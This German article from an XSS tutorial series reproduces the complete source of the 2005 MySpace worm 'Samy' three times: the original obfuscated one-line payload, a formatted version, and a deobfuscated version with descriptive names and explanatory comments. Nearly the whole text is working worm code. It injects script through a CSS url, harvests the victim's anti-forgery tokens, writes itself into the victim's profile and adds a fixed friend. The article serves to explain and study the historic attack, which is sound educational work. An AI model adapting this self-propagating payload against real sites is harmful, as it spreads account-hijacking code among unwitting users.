Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
Zur Beschreibung des MySpace-Wurms Samy gehört natürlich auch dessen Sourcecode. Den finden Sie hier, in der Beschreibung sind einige Stellen mit den entsprechenden Stellen im unformatierten Code verlinkt. Diese sind rot hervorgehoben - und ihrerseits mit den entsprechenden Stellen im formatierten Code verlinkt.
Der unformatierte Code
Der Original-Code stammt von Samy Kamkars
Quelle: MySpace Worm Explanation
und enthält nur einen einzigen Zeilenumbruch:
<div id=mycode style="BACKGROUND: url('javaHIER
script:eval(document.all.mycode.expr)')" ...
Alle anderen unten vorkommenden Zeilenumbrüche entstehen durch den Umbruch, den der Webbrowser automatisch bei bestimmten Sonderzeichen und dem Leerzeichen einfügt, wenn die Zeile zu lang wird.
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')"expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var
C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return
eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function
getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var
O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new
String();var O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return
N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return
true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return
S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function
getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var
W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var
Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new
ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var
AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var
AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but
most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return
true}"></DIV>
Der formatierte Sourcecode
Die folgende, formatierte Version des Sourcecodes basiert auf einer
Mail von Antonio Fontes
auf der Securityfocus-Mailingliste 'Web Application Security'. Es wird nur
der Inhalt von expr
gezeigt.
// die Quote-Zeichen:
var B = String.fromCharCode(34); // "
var A = String.fromCharCode(39); // '
function g()
{
var C;
try
{
var D = document.body.createTextRange();
C = D.htmlText
}
catch(e)
{
}
if (C)
{
return C
}
else
{
return eval('document.body.inne'+'rHTML')
}
}
function getData(AU)
{
M = getFromURL(AU,'friendID');
L = getFromURL(AU,'Mytoken')
}
function getQueryParams()
{
var E = document.location.search;
var F = E.substring(1,E.length).split('&');
var AS = new Array();
for (var O = 0; O < F.length; O++)
{
var I = F[O].split('=');
AS[I[0]] = I[1]
}
return AS
}
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if (location.hostname == 'profile.myspace.com')
{
document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
if (!M)
{
getData(g())
}
main()
}
function getClientFID()
{
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing()
{
}
function paramsToString(AV)
{
var N = new String();
var O = 0;
for (var P in AV)
{
if (O > 0)
{
N+='&'
}
var Q = escape(AV[P]);
while (Q.indexOf('+') != -1)
{
Q = Q.replace('+','%2B')
}
while (Q.indexOf('&') != -1)
{
Q = Q.replace('&','%26')
}
N+=P+'='+Q;
O++
}
return N
}
function httpSend(BH,BI,BJ,BK)
{
if (!J)
{
return false
}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if (BJ == 'POST')
{
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
function findIn(BF,BB,BC)
{
var R = BF.indexOf(BB)+BB.length;
var S = BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))
}
function getHiddenParameter(BF,BG)
{
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
function getFromURL(BF,BG)
{
var T;
if (BG == 'Mytoken')
{
T = B
}
else
{
T = '&'
}
var U = BG+'=';
var V = BF.indexOf(U)+U.length;
var W = BF.substring(V,V+1024);
var X = W.indexOf(T);
var Y = W.substring(0,X);
return Y
}
function getXMLObj()
{
var Z = false;
if (window.XMLHttpRequest)
{
try
{
Z = new XMLHttpRequest()
}
catch(e)
{
Z = false
}
}
else if (window.ActiveXObject)
{
try
{
Z = new ActiveXObject('Msxml2.XMLHTTP')
}
catch(e)
{
try
{
Z = new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e)
{
Z = false
}
}
}
return Z
}
var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;
if (AE)
{
AE = AE.replace('jav'+'a',A+'jav'+'a');
AE = AE.replace('exp'+'r)','exp'+'r)'+A);
AF = ' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;
function getHome()
{
if (J.readyState != 4)
{
return
}
var AU = J.responseText;
AG = findIn(AU,'P'+'rofileHeroes','</td>');
AG = AG.substring(61,AG.length);
if (AG.indexOf('samy') == -1)
{
if (AF)
{
AG+=AF;
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Preview';
AS['interest'] = AG;
J = getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
}
}
}
function postHero()
{
if (J.readyState != 4)
{
return
}
var AU = J.responseText;
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Submit';
AS['interest'] = AG;
AS['hash'] = getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function main()
{
var AN = getClientFID();
var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J = getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2 = getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}
function processxForm()
{
if (xmlhttp2.readyState != 4)
{
return
}
var AU = xmlhttp2.responseText;
var AQ = getHiddenParameter(AU,'hashcode');
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['hashcode'] = AQ;
AS['friendID'] = '11851658';
AS['submit'] = 'Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK)
{
if (!xmlhttp2)
{
return false
}
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if (BJ == 'POST')
{
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
}
xmlhttp2.send(BK);
return true
}
Der Sourcecode, kommentiert und mit "sprechenden" Variablennamen
Ich habe den Sourcecode, der oben doch noch reichlich "obfuscated" ist, zur besseren Verständlichkeit an den entsprechenden Stellen umkodiert, die Variablennamen in "sprechende" Namen umgewandelt und die Funktionen kommentiert. Jetzt sollte der Code weitgehend selbstverständlich sein.
function HtmlSeite()
// liefert den Inhalt der aktuellen Seite als HTML-Code
{
var C;
try
{
var D = document.body.createTextRange();
C = D.htmlText
}
catch(e)
{
}
if (C)
{
return C
}
else
{
return eval('document.body.innerHTML')
}
}
function getData(AU)
// liefert den Wert der Parameter friendID und Mytoken
{
FriendIdWert = getFromURL(AU,'friendID');
MyTokenWert = getFromURL(AU,'Mytoken')
}
function getQueryParams()
// legt ein Arry mit den Query-Parametern an
{
var E = document.location.search;
var F = E.substring(1,E.length).split('&');
var QueryParameterArray = new Array();
for (var O = 0; O < F.length; O++)
{
var I = F[O].split('=');
QueryParameterArray[I[0]] = I[1]
}
return QueryParameterArray
}
var einXmlHttpRequest;
var QueryParameterArray = getQueryParams();
var MyTokenWert = getQueryParams()['Mytoken'];
var FriendIdWert = getQueryParams()['friendID'];
if (location.hostname == 'profile.myspace.com')
// wenn wir auf profile.myspace.com sind auf die entsprechende Seite der
// Hauptdomain wechseln, damit die XMLHttpRequests möglich sind
{
document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
if (!FriendIdWert)
{
getData(HtmlSeite())
}
main()
}
function getClientFID()
// Liefert die Friend-ID des aktuellen Opfers zurück
// up_launchIC() ist eine Funktion einer JavaScript-Bibliothek
// von MySpace, die von der Instant-Messaging-Funktion zur Ankündigung von
// IM-Anfragen verwendet wird und die
{
return findIn(HtmlSeite(),'up_launchIC( '+',')
}
function nothing()
// macht nichts, wird als Event-Handler für einige XMLHttpRequests benötigt
{
}
function paramsToString(EingabeArray)
// wandelt das Array EingabeArray in einen Parameter-String für den URL um
{
var NeuerString = new String();
var Zaehler = 0;
for (var EinParameter in EingabeArray)
{
if (Zaehler > 0)
{
NeuerString+='&'
}
var EscapedString = escape(EingabeArray[EinParameter]);
while (EscapedString.indexOf('+') != -1)
{
EscapedString = EscapedString.replace('+','%2B')
}
while (EscapedString.indexOf('&') != -1)
{
EscapedString = EscapedString.replace('&','%26')
}
NeuerString+=EinParameter+'='+EscapedString;
Zaehler++
}
return NeuerString
}
function httpSend(derUrl,RequestEventHandler,RequestMethode,RequestDaten)
// Sendet einen XMLHttpRequest an den URL derUrl mit der RequestMethode
// und den RequestDaten, als Event-Handler dient der RequestEventHandler
{
if (!einXmlHttpRequest)
{
return false
}
eval('einXmlHttpRequest.onreadystatechange=RequestEventHandler');
einXmlHttpRequest.open(RequestMethode,derUrl,true);
if (RequestMethode == 'POST')
{
einXmlHttpRequest.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
einXmlHttpRequest.setRequestHeader('Content-Length',RequestDaten.length)
}
einXmlHttpRequest.send(RequestDaten);
return true
}
function findIn(EingabeString,StartString,EndeString)
// Liefert den Teilstring zwischen StartString und EndeString aus dem Eingabestring
{
var StartPosition = EingabeString.indexOf(StartString)+StartString.length;
var ErgebnisString = EingabeString.substring(StartPosition,StartPosition+1024);
return ErgebnisString.substring(0,ErgebnisString.indexOf(EndeString))
}
function getHiddenParameter(EingabeString,ParameterName)
// Liefert den Wert eines Parameters aus der Eingabe
{
return findIn(EingabeString,'name='+"+ParameterName+"+' value='+",")
}
function getFromURL(EingabeString,ParameterName)
// Liefert den Wert des Parameters ParameterName aus dem String EingabeString (i.a. ein XMLHttpRequest-responseText)
{
var ParameterTrenner;
if (ParameterName == 'Mytoken')
{
ParameterTrenner = "
}
else
{
ParameterTrenner = '&'
}
var ParameterNameGleich = ParameterName+'=';
var StartParameterWert = EingabeString.indexOf(ParameterNameGleich)+ParameterNameGleich.length;
var ParameterWert1024 = EingabeString.substring(StartParameterWert,StartParameterWert+1024);
var StartParameterTrenner = ParameterWert1024.indexOf(ParameterTrenner);
var ParameterWertExakt = ParameterWert1024.substring(0,StartParameterTrenner);
return ParameterWertExakt
}
function getXMLObj()
// Erzeugt XMLHttpRequest-Objekt, wenn möglich
{
var Z = false;
if (window.XMLHttpRequest)
{
try
{
Z = new XMLHttpRequest()
}
catch(e)
{
Z = false
}
}
else if (window.ActiveXObject)
{
try
{
Z = new ActiveXObject('Msxml2.XMLHTTP')
}
catch(e)
{
try
{
Z = new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e)
{
Z = false
}
}
}
return Z
}
var HtmlSeite = HtmlSeite();
var StartSamyCode = HtmlSeite.indexOf('mycode');
var SamyCode = HtmlSeite.substring(StartSamyCode,StartSamyCode+4096);
var StartDivSamyCode = SamyCode.indexOf('DIV');
var SamyCodeOhneDiv = SamyCode.substring(0,StartDivSamyCode);
var SamyIsMyHeroCode;
if (SamyCodeOhneDiv)
{
SamyCodeOhneDiv = SamyCodeOhneDiv.replace('java','+java');
SamyCodeOhneDiv = SamyCodeOhneDiv.replace('expr)','expr)+');
SamyIsMyHeroCode = ' but most of all, samy is my hero. <div id='+SamyCodeOhneDiv+'DIV>'
}
var dieProfileHeroes;
function getHome()
{
if (einXmlHttpRequest.readyState != 4)
{
return
}
var derResponseText = einXmlHttpRequest.responseText;
dieProfileHeroes = findIn(derResponseText,'ProfileHeroes','</td>');
dieProfileHeroes = dieProfileHeroes.substring(61,dieProfileHeroes.length);
if (dieProfileHeroes.indexOf('samy') == -1)
{
if (SamyIsMyHeroCode)
{
dieProfileHeroes+=SamyIsMyHeroCode;
var MyTokenWert = getFromURL(derResponseText,'Mytoken');
var QueryParameterArray = new Array();
QueryParameterArray['interestLabel'] = 'heroes';
QueryParameterArray['submit'] = 'Preview';
QueryParameterArray['interest'] = dieProfileHeroes;
einXmlHttpRequest = getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+MyTokenWert,postHero,'POST',paramsToString(QueryParameterArray))
}
}
}
function postHero()
{
if (einXmlHttpRequest.readyState != 4)
{
return
}
var derResponseText = einXmlHttpRequest.responseText;
var MyTokenWert = getFromURL(derResponseText,'Mytoken');
var QueryParameterArray = new Array();
QueryParameterArray['interestLabel'] = 'heroes';
QueryParameterArray['submit'] = 'Submit';
QueryParameterArray['interest'] = dieProfileHeroes;
QueryParameterArray['hash'] = getHiddenParameter(derResponseText,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+MyTokenWert,nothing,'POST',paramsToString(QueryParameterArray))
}
function main()
{
var dieFriendId = getClientFID();
var derUrl = '/index.cfm?fuseaction=user.viewProfile&friendID='+dieFriendId+'&Mytoken='+MyTokenWert;
einXmlHttpRequest = getXMLObj();
httpSend(derUrl,getHome,'GET');
xmlhttp2 = getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+MyTokenWert,processxForm,'GET')
}
function processxForm()
{
if (xmlhttp2.readyState != 4)
{
return
}
var derResponseText = xmlhttp2.responseText;
var dasCsrfToken = getHiddenParameter(derResponseText,'hashcode');
var MyTokenWert = getFromURL(derResponseText,'Mytoken');
var QueryParameterArray = new Array();
QueryParameterArray['hashcode'] = dasCsrfToken;
QueryParameterArray['friendID'] = '11851658';
QueryParameterArray['submit'] = 'Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+MyTokenWert,nothing,'POST',paramsToString(QueryParameterArray))
}
function httpSend2(derUrl,RequestEventHandler,RequestMethode,RequestDaten)
// Sendet einen XMLHttpRequest an den URL derUrl mit der RequestMethode
// und den RequestDaten, als Event-Handler dient der RequestEventHandler
{
if (!xmlhttp2)
{
return false
}
eval('xmlhttp2.onreadystatechange=RequestEventHandler');
xmlhttp2.open(RequestMethode,derUrl,true);
if (RequestMethode == 'POST')
{
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',RequestDaten.length)
}
xmlhttp2.send(RequestDaten);
return true
}
Übersicht über alle Artikel zum Thema
- Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
- Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
- Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
- Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
- Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
- Cross-Site Scripting im Überblick, Teil 5: Resident XSS
- XSS-Angriffe, Teil 1: Informationen einschleusen
- XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
- XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
- XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
- XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
- XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
- XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
- XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
- XSS-Angriffe, Teil 9: Der Router im Visier
- XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
- XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
- XSS-Angriffe, Teil 12: Browser-basierte Botnets
- XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
- XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF
Trackbacks
Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5
Vorschau anzeigen